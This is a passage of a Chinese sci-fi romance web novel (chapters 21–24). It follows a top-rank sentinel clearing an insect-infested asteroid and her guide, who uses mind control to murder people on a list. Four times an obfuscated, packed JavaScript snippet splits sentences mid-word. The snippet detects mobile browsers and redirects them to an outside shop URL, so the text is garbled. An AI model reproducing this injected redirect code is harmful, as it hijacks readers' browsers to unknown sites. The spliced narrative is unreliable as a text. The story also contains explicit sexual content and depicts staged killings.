不再是方方正正的礼堂,整个空间被凿成椭圆状,正中被更加宏伟精密的雕像占据,这一次不再是人像,而是虫族。 超出认知范畴的外形构成无法言喻的强大,就算明知眼前的雕像是缩小版,也不由自主心生警惕。 “虫族女皇。” 阮弥这才想起先前礼堂中的蒙面女像为什么这么眼熟,在一些涉及人类崇拜虫族的任务中常常会见到,民众将虫族女皇塑造成人身雕像供奉以此模糊联邦的审查。 在没有彻底驱逐虫群的时候,这样的事情屡见不鲜,此地是一个时代微不可及的一角。 暗室角落还留有部分人类骸骨,以及稍有振动就化作飞灰的卵。 “难以想象那是个怎样的时代……不考虑其他问题的话,我真想见见现实的虫族呢。”言述一收回视线道。 “还有机会见到的。它们的女皇是死透了,但总量太多,偌大星系之间还有残留。几年前还有人提出过提案,要把残余虫群捕捉起来用于商业观光,后面被否决了。” “阮弥有见过吗?” “嗯,它们的共性就是难看,虫族女皇算是最接近人类审美的存在。” 手腕振动的终端提示地下探险到此结束,阮弥拉起没有松开过的手,朝言述一笑道:“走吧,要到看烟花的时间了。” 烟花? 观景露台上,夜景一览无余,迫近的圆月静静高挂天边。 远处忽然之间产生爆炸,甚至庄园这边也能感受到些许震动,月亮被一道赤红色彩划过,升到最高处后忽地炸开。 漫天四散的烟花轨迹组成一句话:欢迎来到安珀里尔!玩得开心~ 很快,各式各样的飞船自夸张绚烂的特效烟花下掠过。 他听见耳畔传来阮弥的轻笑,转眼过去,他见她目光温柔:“安安就喜欢这些东西。” 言述一觉得阮弥也很喜欢。 手中动作稍稍一顿,他视线移向远处,有人来了。负责紧急搜查的小队来到庄园大门前,却没有直接按下门铃叨扰。 加密终端中传出信息:里面的租客是那位特级哨兵,还有她的向导,也是特级。 “被害人说这一切都是他咎由自取的报应,而且此次事件没有沾上人命,对方已经申请停止后续调查。” 几人同时收到命令:“……收队。” “是。” 那些人前脚刚走,后脚洛安就出现在二人视野之中,她是翻墙进来的,远远看见阮弥就朝她挥手。 “老大!我回来啦!” 与此同时,巫蔓菁不知从哪里走来,但首先可以排除翻墙,她先洛安一步拉开阮弥身旁的椅子,而后悠然坐下。 “啊啊啊啊——”晚了片刻的洛安就只能坐在阮弥身边的身边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17569419|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “真是辛苦你们了。”说完阮弥就将早就摆放好的蛋糕推到洛安面前,巫蔓菁则已经喝上给自己准备的红茶。 “我提前准备了一些吃的,要是不合适再点。”其余人已经在后院吃上了。 “谢谢老大~老大你真好。” 预感今晚将是个不眠之夜的巫蔓菁捧着红茶找借口推脱:“我上了年纪,就不和你们这些年轻人开party了。” “不行!蔓菁姐,喝酒的时候怎么没听见你这么说?”洛安第一个不同意。 “戒酒了,和你喝酒太操劳了,半夜还得给你当保姆。” “蔓菁姐——不带这样的!” 炭火上燃起升腾的火焰,呼喊声中又有人要大展身手,就在彻夜狂欢的热浪即将涌起之时,不合时宜的提示音泼上冷水。 “紧急任务、紧急任务……”阮弥的终端不受控制地跳出鲜红刺目的页面。 “诅咒!是诅咒又生效了!!!”洛安发出更加高亢的声音。 无可奈何的阮弥接取任务后对上言述一疑惑的目光解释道:“只要我一离开瑟拉瑞斯境内,不出三天圣所就会给我找点事情做。” 每次阮弥非任务时段离开瑟拉瑞斯都是和洛安她们在一起,久而久之反复经历下来就被戏称为诅咒。 “老大——什么时候我们去把圣所炸了吧。”洛安晃着餐叉,无比认真地说道。 “可以啊。”从椅子上起身,阮弥摸摸她的脑袋安抚道:“只是暂时还不行,不过我想,离那天应该不会太远。” 圣所最近的小动作也越来越多了。 “收尾之后好好玩几天吧,我就先走了。”巫蔓菁听闻点点头,洛安无精打采地挥手道别。 言述一也起身打算跟阮弥一起离开,她却站在原地,转身看着他没有动作:“述一,你之后先和她们回去吧。” “我……”他想和阮弥一起。 “他们也一定会给你找麻烦的。” 话音刚落,言述一的终端也弹出消息。圣所同样指派任务给他,没有阮弥那么高的级别,但最迟后天就必须回去。 “那……让我送你离开吧。”这是他最后的坚持。 她没有拒绝:“走吧。” 同样是两人相伴而行,气氛却比先前低沉不少,阮弥牵起言述一太过冰冷的指尖:“真抱歉,那些定好的行程没办法和你一起去了。” “这不是阮弥的错。”言述一的声音也略有低沉,心底有些难言的烦躁。 他一直跟在阮弥身旁,直到飞船设定好目的地,即将起航,才不得不面对分别。 “照顾好自己,有什么事都可以找安安她们。” “嗯。” 那阮弥要是有事,身边又有谁能帮她呢?言述一不由自主地心想,他不在,洛安她们也不在,目的地坐标他记下了,那是一个他从未听闻过的地方。 他也知道阮弥很强,但他就是……就是有些担忧,有些害怕。 没办法在阮弥身边这一事实会让他感到恐惧。 挣扎半晌后,言述一放开一直牵着的手心,他总不能永远不放开,也不能让阮弥太过担心自己。 他压下所有的情绪想要笑着道别,阮弥却抬起手抚平他的嘴角,她在用行动告诉他,没必要在她面前强颜欢笑。 言述一张了张嘴,像是想说些什么,但下一刻,他被吻住了。 阮弥的吻很轻,不像他一样贪得无厌,他也知晓这个吻不是为了缠绵,而是为了安抚自己。 那份强烈的不安,即便阮弥不再是向导也能察觉。 一吻落毕,阮弥的指腹轻轻触碰那双望向自己满是不舍的眼眶,她轻声说道:“不用担心,我过段时间就会回来。” 将她的手放下,言述一也终于再度展出发自内心的笑颜: “我会等你。” 22. 第 22 章 月明星稀,周遭除开海浪寂静无声。这是言述一出塔之后,第一次独自一人度过的夜晚。 在阮弥离开后,他也没有加入组织的欢宴,也没有回到房间,他漫无目的游荡,来到海边踩着易陷的沙子,任由海风吹拂。 大海会让他有种熟悉的感觉,一种和阮弥一样的感觉。 上一次在海边漫步吹风还是为了让出阮弥和阮怀清女士独处的时间,那时的他能感受到阮弥,也知道过一段时间自己就可以回到阮弥身边。 这一次好像也是一样,但又有什么是不同的,他没办法感受到阮弥了。 只能独自忍受恐惧度过看不到尽头的等待时光。 他好像又回到幼年时光中的噩梦,不断不断地下坠、逃跑,直到他能够醒来,直到他能够回到阮弥身边。 “言向导,怎么一个人跑这么远?在这颗星球上跑再远也找不到老大啦。” 突如其来的声音将他惊醒,回过神,言述一才发现洛安来了,巫蔓菁在路边的车里没有下来。 “给。”递给他一个老式玻璃瓶后,洛安在离他不远处坐下,“相信我,这是无酒精饮品,要是给你喝酒被老大知道她会打死我的。” “……谢谢。”他尝了一口,是草莓味汽水。 “言向导,虽然这么问有些冒昧,但那几个财阀是你杀掉的对吧?”洛安停下先前还在手中摇晃的汽水,神情轻松,仿佛聊的只是明天的天气那么简单。 “对。”言述一没打算否认。 “那我们算是达成共识了,我早就想这么做了!就是我没什么超能力,那些家伙又喜欢到处乱跑……说起来,这也是你唯一的弊端吧,没有任何指向性的线索,但我直觉就是你们这些哨兵向导动的手。” 结合那些财阀都给阮弥买过黑稿的共通性,洛安很容易联想到言述一。 “不过我已经让人把他们打包进飞船,顺便选了个无人区作为目的地,这样就不会有任何问题了。” “一个区域一旦发生多条人命相关就会被封锁,这是我们的经验,但只要发生在无人管辖的区域就很难追责,毕竟跨星球案件很麻烦,没几个人愿意接手……” “叩叩。” 坐在车里的巫蔓菁忍无可忍敲响车身:“能不能别大半夜在海边聊这些?” 话音刚落,巡视的车辆就从一旁驶过。 “那好吧——”洛安吸了口汽水,从善如流地转移话题:“除开这个,我其实对言向导你也了解不多,能和你聊的也就只有老大了。” “先说好,我是不会告诉你老大和我是怎么认识的。” 望向大海的眼眸闪烁,像是想起什么,洛安面上浮满笑意:“那是属于我的秘密。” 而对言述一来说,有关阮弥的一切他都会打起十二分的精神去听。 “别看组织现在人很多啦,一开始只有老大和我在接一些不能挂在公会上的任务,老大其实也没想把组织发展壮大,她连名字都懒得取。可最后,碍于种种原因她还是接纳了更多的人。” “按她的话说这是在提供就业岗位。” “总有人说老大不好,也可能是我戴着有色眼镜吧,怎么说呢,我觉得老大明明就挺好的,都是其他人的错啊。” 言述一也认为是这样。 “明明阮弥大部分时候都很温和。” “对啊!如果不是别人先冒犯到老大,绝大多数时候老大她都是很温良的!” 听不下去的巫蔓菁暗自摇头,给阮弥发去消息:“你的死忠粉在开会。”顺便附带一张洛安和言述一在海边的照片。 对面回复出乎意料的很快:“你不加入吗?” “我是你的事业粉。” 遥远星系的另一边,正在给阮弥汇报任务的人心底闪过惊奇,她好像看到阮弥女士笑了,但稍纵即逝,没等她看仔细那点笑容就消失不见。 “此次任务目标是清除该星球范围内所有虫群,为了防止虫群扩散侵蚀其他星域,会有三支小队共计十五人辅助……” 身穿裁剪得体洁白制服的阮弥正倚在靠背撑着脑袋看向终端,外套虚掩在她肩头。 本该是便于行动的服装,可不知道圣所的制定者是怎么想的,属于特级的服饰和其他完全不是一个类型,不便活动又不便隐秘的同时还更加显眼,不像是去执行任务更像是去授勋,完全本末倒置了吧? 唯一的优点大概就是显得阮弥女士更加飒爽凌厉。 她心有担忧,但想起阮弥的实力又很快自己消解掉忧虑。 “……最后,愿您任务顺利。” “谢谢,有劳你了。” 每次她汇报任务结束阮弥女士都会和她道谢,不过这次听起来她的心情比以往更好些。 等到汇报之人离开偌大的飞船朝目的地起航,过了一段悄然安静的时间,客舱众人在意的门扉也没有重新推开的迹象。 一阵阴阳怪气的语调在空气中飘开:“真不愧是特级啊,任务要专人汇报,连坐也不愿意和我们坐在一处。” “啧,你懂什么?阮弥女士根本就不需要我们也能完成这个任务,能被选中跟着去蹭积分你就知足吧。” “切,谁稀罕这点分?” “装什么装,那你现在退出坐逃生舱回去呗?” 眼见争吵之势要再度扩大,作为这次任务副指挥的陆衍展开精神力压制:“安静。” 下一刻,开门声在舱内响起,阮弥从中走出来到众人面前,脸上只余漠然不复之前的温和。方才出言的人胆战心惊,不知她究竟是否听到。 所幸,阮弥压根没有分给任何人目光的打算。 她抬眼扫过所有人,却没有什么能让她为之停留。 “稍后各小队前往各自负责区域巡查,确保没有生命体会被侵蚀寄生,巡查完毕后在我划出的安全区内待命。” “是。”众人齐声,没人会违抗。 作为先遣阮弥自然也不会和其他人待在一起,她去往速度更快的副舱先行一步,陆衍紧随其后,有人在其中早已等候多时。 换掉那身骚包的衣服,穿上索兰公会制服的绯珀依旧朝阮弥行了动作幅度夸张的一礼。 “又见面了,尊敬的阮弥女士。” 她从他身边径直掠过:“很可惜,你把我的话当成耳旁风。” “很高兴阮弥女士愿意给我其他选择,但留在这里出自我的本心,我也会为了我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17571791|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的选择背负相应的代价。” “理应如此。” 船舱内明面上只有三人,但阮弥很清楚陆绝那只老鼠也在暗中监视。 她一人足以完成的任务无端多出这些人来,谁都知道不寻常。这不光是圣所设下的鸿门宴,同时也是一场测试,他们急需确定她还在他们掌控的范畴之内。 思及至此,阮弥不加掩饰地勾起冷笑。 那就让他们夜不能寐好了。 直至终端上映入眼帘的一张张照片逐渐夺走她的注意,阮弥心底泛起其余思绪,希望言述一那边可以一切如常。 但阮弥也很清楚,只要圣所还在,她就总会事与愿违。 还要多久呢? 如海河一般蜿蜒流转的发梢沐浴在银白色月光之下,躺在床铺上的人影正抬起手,神色淡淡,金属质感的长链便从他手心向下缠绕,攀附在那比月还皎洁的肌肤上。 言述一本来是睡不着的。 不断扑火的飞蛾在失去唯一的光源后就没了到处扑腾的力气,蛰伏在阴暗之地。 月光也难以照亮的幽深视线随着海蓝色宝石来回摇晃,那些未言说出口的念想在脑海徘徊往复。 阮弥,阮弥…… 心中的空隙无人填补,眉眼间便是无尽冷意。 他是心有不满的。 如果不是该死的任务非阮弥不可,说不定他就能如同这些链条绸缎一般缠绕在阮弥身边,他能够触及她的指尖,可以贪恋她的温度甚至更多。 即便理智告诉他不可能,没有缠住任何人的线条依旧为他织起牢笼。 因为他想要这样的可能。 圣所是讨厌的、该死的、罪大恶极的,他们只需下一道轻飘飘的指令,就能夺走他为之欣喜的一切。 颓然地翻身,放下手,言述一抓过那好似还留有气息的衬衣攥在怀中。若是以往,他不会也不敢做这样的事,他得压低情难自禁的声音或是用水声遮掩,气味也要处理,他不想被阮弥讨厌…… 言述一紧蹙的眉眼忽然松开,原先紧抿的唇角扬起肆无忌惮的笑。 阮弥会给讨厌的人送这些东西吗? 才不会。 像是得到了准许,沾染体温的链条引燃他继续贪得无厌地索取,缠绕在温热皮肤之上的不再只有冷硬的金属,还有凸显的青筋。 这大概是这次离别唯一的好处。 潮热的舌尖触及一片冰凉,璀璨明亮的海蓝宝石被人恶意濡湿。 言述一的思绪随着动作飘扬,去往心心念念的人身边,他想起阮弥在自己唇上烙下的那个吻,想念她的触碰,想起那一次结合…… 下一次精神结合,还要多久? “阮弥,阮弥……” 手指力道越发加重,他的神经被拉紧,又崩断。好似让他登上极乐,却又觉得还缺点什么,待到那令人沉醉的剧烈起伏平息,言述一迷离的眼重新有了焦点,他反应迟缓打开终端,发送早已输入好的信息。 “好想你。” 没有回复的页面也让他勾起心满意足的笑,在陷入沉睡的最后时刻,那不能说出口被留在心底的贪念驱使他无言喃喃: 阮弥……我们,梦里见。 23. 第 23 章 直径不超过十公里的不规则小行星在星间漫游,预计五日后撞上有人类居住的星球。 按照常理来说这样的事情并不需要上报圣所,但在初步侦测后发现在这颗小行星平平无奇的外表之下,内部已然被虫族蚕食。 无数虫族蛰伏其中,强行赋予小行星堪称可怖的生机。 “要是一念之差让XC-7031B坠毁,虫族顷刻就会将星球上一切生命吞噬,就算明知如此,你们也只让她一个人行动?”绯珀百无聊赖地看着显示无信号的投影。 漆黑深空中,飞船与小行星地表保持安全距离悬空漂浮,其中早已没有阮弥的身影。 身为特地被索兰圣所邀请的近特级向导,绯珀很清楚副指挥只是陆衍明面上的称呼,被圣所特殊培养的他拥有更多权力。 “是。”同样凝视某处的陆衍眉头紧锁心底闪过千万思绪,种种缘由在最后化作一句:“她从不会做没把握的事。” 话语刚落,小行星上忽然扬起尘环,待到无声沉寂之后,漂流轨迹没有任何阻碍的小行星不再向前。 是被生生截停下来的。 极为精密的投影有了信号,灰尘漫天,可阮弥身上那过于洁白的制服依旧一尘不染。 被惊扰的虫群自缝隙之中如潮水般涌现朝她迫近,可最终没有一只虫能够进入阮弥周围五米,遍地虫群的情况下,她的身边永远是一片真空。 “啧啧,难怪你们对她这么畏惧,这就是特级哨兵的实力吗?当真是可怕至极啊。” 光是看见,就让绯珀情不自禁。 忽然想起什么,他那双狭长妩媚的眼悠悠看向坐在相隔很远距离的陆衍:“陆指挥,听说你从前和阮弥女士是搭档,她有什么特别的偏好吗?” 陆衍当然不会知道,他也很清楚绯珀这是在故意恶心自己,这只该死的永暮狐狸。 “你要是成功了,自然就会知晓。” “真是遗憾啊。”绯珀故意拉长音调,“陆指挥,那我们接下来需要做什么?” “……等待。” 幽深的眼中更加暗上几分,陆衍打开终端操控起提前埋藏在虫族巢穴中的器械,他发出指令,藏在行星之下的虫群就能接收。 属于虫族的嗡鸣此起彼伏。 小行星被虫族侵蚀已久,稍有不慎就会没入其中被黄沙和虫群吞噬。 阮弥一步步走在精神力搭建的平台之上。 她闭着眼,主动关闭掉自己的全部感知,数以百万计的虫族产生的噪声、气味,甚至光是看见对她而言都是一种消耗。 这正是圣所阴谋所在,通过虫族更快削减她日益稀薄的精神结合,等到她精神不稳几近失控再让绯珀趁虚而入,从而被圣所抓住软肋,迫使她继续成为他们手中好用的棋子。 提前再次精神结合或许就能破解阴谋,但阮弥要的不是自己一次又一次被动避让。 更何况,她精神力感知到虫族巢穴在小行星内部流转,总是先一步和她保持最远距离。有人先一步知晓她的动向,驱使虫群移动。 就算她精神结合牢固,他们也要消耗到她彻底失控为止。 他们很清楚她不会放弃,不会见死不救,更不会轻易朝他们求助,因为一直以来都是如此。 是啊,一直如此。 天上飞的,地上爬的,土里钻的,不甘嗡鸣着朝唯一的人影冲去,可最终灰尘之下的只有一个又一个虫子的尸体。 说起来还真是可惜,虫群的蛰伏和伪装也是她很擅长的事呢。 她们应该惺惺相惜才对? 意识到自己精神过于兴奋和活跃的阮弥心生笑意步调轻快,压着情绪没有表露出来。 寻找到小行星上的虫族弱点和巢穴移动规律后,她有意控制起绞杀虫群的速度,随着时间推移,如他们所愿一般展示出强撑苦痛的模样。 快点上钩吧。 她也很是迫不及待。 “行星表面虫群已削减至百分之三十,目前危险性评级降为B,继续记录虫群密度变化和检测虫族尸骸,防止虫毒污染……” 距离阮弥登上小行星已经过去三天。 不久前终于将绯珀送走的陆衍也刚回总舰不久,总舰内检测小队在记录和处理密密麻麻的虫族数据,还有一队则奉圣所命令在收集和分析阮弥。 见到陆衍到来,为首之人停下动作道:“陆队。” “情况如何?”陆衍并不关心小行星,他想知道的内容只会和阮弥有关。 “XC-7031B内虫族类型特殊,总体数量并不算多,进化类型偏攻击,虫母具有逻辑思考和判断能力,检测小队评级为A+,它们原本的计划应该是撞上人类星球从而扩大巢穴。” “阮弥女士作为孤身一人对抗,目前生命和精神指数没有任何受伤痕迹,甚至精神长期处于兴奋状态。” “总而言之,目前我们得到的结论是阮弥女士和人类历史上的特级哨兵没有任何差异,甚至相比而言更胜一筹。” 静默片刻后,陆衍淡淡回应:“我知道了。” 说来也是奇怪,听到这样的结论他只觉得理所应当,心中出乎意料没有多少落后于人的情感。 毕竟在阮弥还是特级向导的时候,被圣所长老作为继承人培养的陆衍就很清楚他们对她有多少刻意弱化和制约,就算如此,她依旧是公会常年积分榜第一,没有任何人可以与之比肩。 她本该如此。 “陆指挥,收尾工作真的不需要我们去吗?”其余哨兵向导也纷纷归队,小行星上虫群的覆灭已经可以预见。 陆衍摇头,他也不知道具体情况,明面上总指挥权还在阮弥那里,而她从去往小行星后就没有任何消息和命令传回。 “阮弥女士已经战斗了三天……”也有人心怀忧虑。 上一次传来影像还是一天前,从进入虫族巢穴后阮弥就没再出现。 “数据显示,阮弥女士身体状态很好,只是在她的精神结合联系减弱后有异于常人的活跃,但这也是正常情况。” “她很安全,不用担心。”检测队长平静有力的声音消解不安。 “哥哥,小行星数据有些不对。” 陆衍耳麦内,传来陆绝小心翼翼的声音。 “警报、警报、警报……”总舰内忽然之间红光闪烁,原先正常波动的数据一同冲向顶峰,安全系统随即启动,自动远离侦测到的危险范围。 “怎么回事?” “……虫族一瞬间死完了,和预期不同,系统没办法理解以为出现了危机。”检测队长简单操作后,一切恢复正常。 所有人放下心来,望向舷窗之外的景象,祈祷不要再有什么意外发生—— 一眨眼,原先还在的小行星消失不见。 …… “我眼睛出问题了?”不知是谁先这么说了一句。 “你们也看不见小行星了?” 晕头转向的众人看向先前主持大局稳定人心的检测队长,只见她也两手一摊道:“这下我也不知道了。” “阮弥女士不会有事吧?” 正在点女士香烟的检测队长面露笑意:“现在没有数据,但按照我对她个人的了解来说,不会。” 究竟发生了什么? “哥哥……怎么办?”陆绝的声音在颤抖, 怎么办怎么办怎么办怎么办,所有的数据 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17574467|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都瞬间断崖,小行星忽然消失是众人一同印证的事实,能做到这种超乎常理的事只有超乎常理的人。 只有阮弥。 陆衍没有回应陆绝,他神游天外地想,那些长老睡不着觉又要磋磨他了。 一瞬之间消失的星球,一场恶劣到极点的戏弄。 是啊,这就是戏弄。 就像天上的日与月,个人意志没办法撼动分毫,圣所的长老们想要凭借一无所有的凡人之躯妄图去控制阮弥,本就是异想天开。 “他呢?” 陆绝知道陆衍问的是绯珀:“……失去一切信号。” 有人匆匆来到陆衍身边汇报:“陆指挥,有飞船靠近,标识显示是云芷女士。” 她们也来了?思索片刻后陆衍下达指令:“任务完成,开始撤退。” “那阮弥女士呢?” “圣奎姆有她的降落申请。” 小行星还未覆灭前,虫族巢穴内,奄奄一息的虫母被精神力攻击彻底断送生命,附着在巢穴各处的虫卵也被彻底碾碎。 洁白刺目的身影站在一片腥臭血色中央。 阮弥很兴奋,绯珀的感知捕捉到遍布各处的情绪,他也感知到,此刻在阮弥身上的精神联系已经极度微弱。 通常而言,这昭示着哨兵需要抚慰和疏导。 绯珀挂起满面笑容,一步步去往阮弥身旁。他铺开精神力,敞开自己的精神空间,像是要迎来前所未有的珍宝。 直至顷刻之间化作刺痛。 终于,阮弥转过身,睁开眼,狼狈至极的绯珀得以步入她的目光之中。 难以承受的疼痛迫使他反涌出鲜血,他终于意识到,阮弥的情绪从不是什么悦动的情愫,是猎杀者的兴奋。 这是陷阱。 “阮弥女士……您当真要杀了我吗?这里还是索兰境内,我身为记录在案的近特级死在这里会成为重大外交事故。”就算他是隐瞒身份而来。 似乎在欣赏一出好戏,阮弥语调悠长:“太艳丽的花开不了太久,香味还总是格外刺鼻,我不喜欢。” “无论是哪一种,我都不喜欢。” 真可惜。 他迟迟意识到在自己和阮弥第一次见面时,她已经预见到他的死亡,她告诉过他活下去的方法只是他不去在意,死亡是他做出的选择,是他必将背负代价。 认清这一点的绯珀没再为自己辩解,他接受自己必死无疑的事实。 在生命的尽头,他只是想不明白为什么阮弥没有陷入所有哨兵都会被迫赋予的狂躁,如此强大的力量不可能没有代价。 具现出的六尾狐狸猛然朝她发起攻击,被轻松挡下,陷入桎梏,等待死亡。 她转身朝更深处走去,不再理会绯珀的垂死挣扎。 无用的制服掩盖阮弥左臂的臂环,阮怀清女士给她配置的抑制剂被放在其中,通过细小的针眼注入她的皮肤,也成为她全身上下唯一的伤口。 阮弥为此感到欣喜。 她来到虫母尸体的角落,一个小巧的设备浮空被她用手帕收起,再度确认小行星内除自己之外没有生命体后,把小鲸召唤出来。 它问道:“这是早饭,还是晚饭呢?” “反正是吃的。”阮弥耸肩。 立于小行星之上的最后时分,阮弥不可避免地感到疲惫,抑制剂只是延缓和抑制,无法彻底消除她精神的躁动。 莫名地,她想起了言述一,想起他总是充满笑意的面庞。 她分不清什么是诱因,但无可否认的结果是,她在想念他。 漫长而没有尽头的沉默后,空间扭曲,阮弥消失不见,小行星也随即湮没于万千星曜之中。 24. 第 24 章 “言述一向导,此次任务非同寻常,需要您与其他人协同攻克。” 和他同行的还有一支小队,任务类型和上次郊外寺院的差不多,这也是他们找上他的理由之一。 “在任务开始前,请容许我重新强调公会的规定:不干扰、不打乱、不影响普通民众的日常生活,牢记不因力量出众就特立独行不听指挥……” 对于这些规定言述一左耳进右耳出,托圣所的福,他的世界里从不存在什么法理。 他自始至终神色淡淡,从不和旁人过多交谈。小队中唯有一个哨兵没有分配向导,圣所打的什么主意他心知肚明。 在那人采取行动之前言述一就已经将其控制起来,还在飞船之上他就翻看起对方近期和圣所有关的记忆。 “圣所的长老们对你寄予厚望,你必须阻止言述一继续和阮弥精神结合。” “什么言家少主?不过是一个受制于人的傀儡罢了,我们就是要让他知道,离了圣所,他什么都不是。” 真没意思。 言述一轻而易举就消除掉这段记忆,那人和没事人一样继续执行任务,后续会上报圣所找不到下手的地方。他伪装和处理好自己精神力的流动痕迹,从前在圣所就没有人能察觉。 攻讦他自己倒是无所谓,他只是不想影响到阮弥。 听从命令,执行着无趣的任务,人还在任务范围之内,但言述一精神力早已蔓延到瑟拉瑞斯的一角。 啊,找到了啊。 那天夜里,在从海边回去之前,洛安也向言述一表明自己的真正目的。 “首先我没有恶意,其次言向导你是言家少主常年昏睡,另一位特级是索兰王女之前自闭。” “圣所常年叫嚣无人可用,每次都把烂摊子都丢给老大!我们老大多可怜?阮姨在曜尘很忙,老大在索兰的那个家族不如没有,除开澜姨从前照顾她生活起居,其余什么破事都得老大她一个人面对。” “那几个脑袋有病的哨兵甚至算得上好应付,最该去死的就是圣所那些高高在上的老东西,还有那些见风使舵的财阀和组织……” “能帮上老大的我都会去做,可是有些过于危险的事情她会瞒着不告诉我。” 洛安一直在笑着,但她身上遍布的情绪全都是愤怒,最后她直接给言述一发了一份早就准备好的名单。 “言向导,说真的,我们合作吧?” “我要让他们全都死掉。” 简单看了一遍后言述一就已经全部记好,他应下,笑意不达眼底:“没问题。” 思绪拉回现在,那几个家伙的确是名单上的人呢,趁现在没什么事先处理掉好了。 山野之中一座富丽堂皇的别墅灯光敞亮,不是什么名流晚宴,是一场私下的聚会,周围有二十人负责安保在巡视侦查。 无影无形的精神力顺着房檐悄然无声没入侍从,他走到角落放下手中端盘,避开室内监控无声游走。 挑选一处房间开始伪造现场,就当是被贪图钱财之人谋害。再按照记忆中洛安和巫蔓菁所言,布置成其他组织势力的风格,让他们狗咬狗。 最后,处理掉痕迹,控制侍从回到原位,重新端起冷掉的佳肴。 其余被操控的人将目标引入房间后离开,言述一抹掉所有人的记忆后抽出自己的精神力,静静观望侍从路过一处敞开的房门,幽深的黑暗引人深入,而后就是一声惊叫。 菜肴掉落在温热的血泊之上,任务完成。 他这两天还是有在潜心学习的。 言述一也不是被人当刀使自己还不知道,他从中也能得到很多收获,最重要的当然是阮弥的处境会变得更加安全,其次就是他从那些该死的人的记忆中,能够找到和阮弥有关的,边边角角的回忆。 那是他不曾知晓的。 先前死去的那些人和阮弥的交集起于一次货物被查,原本只需要给圣所一些打点的费用就可以睁一只眼闭一只眼,但那次任务的行动组长是阮弥,她不同意。 “我怎么不知道人也是货物呢?” “是不是我给你们足够的钱你们也就是砧板上的猪肉了?” 他们就此和阮弥结下仇怨。 这些人没办法对阮弥做什么实质上的伤害,阮弥也太忙,没多余的精力分给这些无关紧要的家伙,他们只敢弄些小动作,像苍蝇一样令人讨厌。 他们不是没办法弄什么声势浩大的刺杀和声讨,只不过有前车之鉴。 阮弥曾经似乎亲自处理过一批让她很讨厌的家伙。 这些人的记忆中满是不甘心又不得不心生恐惧,这样的发现不由让言述一心中发笑的同时又有些隐痛翻涌。 等他的精神力从遥远天际回归躯体,这边的任务也快要结束了。 他忽然就不想再等待。 还在行动的哨兵无法探查所有的污染动作缓慢,正精神紧绷决定开展下一步计划,可他们的手脚却开始不受自己控制行动。 三下五除二处理掉陷入停滞的局面后,众人松了一口气。 只有先前行动的人彼此面面相觑,刚刚做出这种行为的人是他们自己? 再下一刻,这些怀疑猜测全部遗忘脑后,彼此如往常一般勾肩搭背,开始庆贺任务的成功和畅想之后去哪里聚会。 “任务完成,我先走了。”言述一和身旁的两位向导简单打了个招呼就离开。 “好、好的。” 望着他离去的背影,其中一人搂住对方默默吐槽道:“好可怕……皮笑肉不笑还不如不笑,笑起来反而更恐怖了。” “就是就是就是。” 冥冥之中,言述一似有所感。 他有一些不安,不是来自那些已经被他杀掉或是即将被他处理的对象,而是来自更远的地方,来自他心心念念的人。 阮弥…… 精神结合已然消减至最弱,他却感受不到她身在何方。 迫切的心情驱使着言述一回到家中,他走遍所有房间,都没有找寻到阮弥的身影,家里空无一人,没有任何回来过的痕迹。 等到他重新站回玄关,视线却随着地下通道不断延伸。 无光暗室中铺满软垫,没有任何声音能够传入其中,这是提前准备好应对哨兵狂躁的静室。 沉重的呼吸声自最中央传来,躺在软垫上的阮弥发丝四散,咬牙拽紧自己的领口,因忍耐痛苦而产生的汗水几乎将她的衬衣完全沾湿。 精神结合削弱后,精神空间内的躁动就从未平息。 阮弥不希望自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576731|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己被这种本能操控,可这是每一个哨兵都需要付出的代价。 抑制剂最有用的效果已经过去,她已经补上三次,难以忍耐的躁意依旧在她的精神中鼓动,没有任何削减的迹象,而现在,感知也渐渐开始失控。 这是最后的征兆。 一直以来她也很清楚,这不是她自己咬牙硬抗就能过去的事,她需要帮助。 如果她不是特级,或许一次简单的疏导就可以让她回归清醒,可她是特级,她也命中注定只会是特级。身为特级哨兵,她需要的是更深层次的结合。 